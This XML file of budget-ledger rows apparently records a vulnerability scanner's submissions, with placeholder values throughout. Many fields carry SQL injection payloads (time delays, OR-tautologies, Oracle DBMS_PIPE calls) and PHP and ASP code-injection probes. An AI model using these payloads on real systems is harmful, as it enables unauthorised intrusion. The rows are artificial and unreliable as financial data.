<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>@@9Wf4r</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(select 198766*667891)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>(select 198766*667891 from DUAL)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1; waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1); waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>RbaDZ8Id: 9YObndxT</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1 waitfor delay '0:0:15' -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>";print(md5(31337));$a="</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1 OR 842=(SELECT 842 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1)) OR 817=(SELECT 817 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1GFsAjcZ7')) OR 994=(SELECT 994 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=25 or 'gQ3LT8lw'='</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=26 or 'gQ3LT8lw'='</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1" OR 5*5=25 or "hvCdfX86"="</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1" OR 5*5=26 or "hvCdfX86"="</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMUIy1qUigP'; waitfor delay '0:0:15' -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU'"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU����%2527%2522\'\"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>@@iNCnG</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(select 198766*667891)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(select 198766*667891 from DUAL)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=25 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=25</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=26 or "jcdgsnRi"="</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1*if(now()=sysdate(),sleep(15),0)</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1; waitfor delay '0:0:15' -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>response.write(9447647*9072497)</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=25 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=26 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=25</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=26</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=25 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
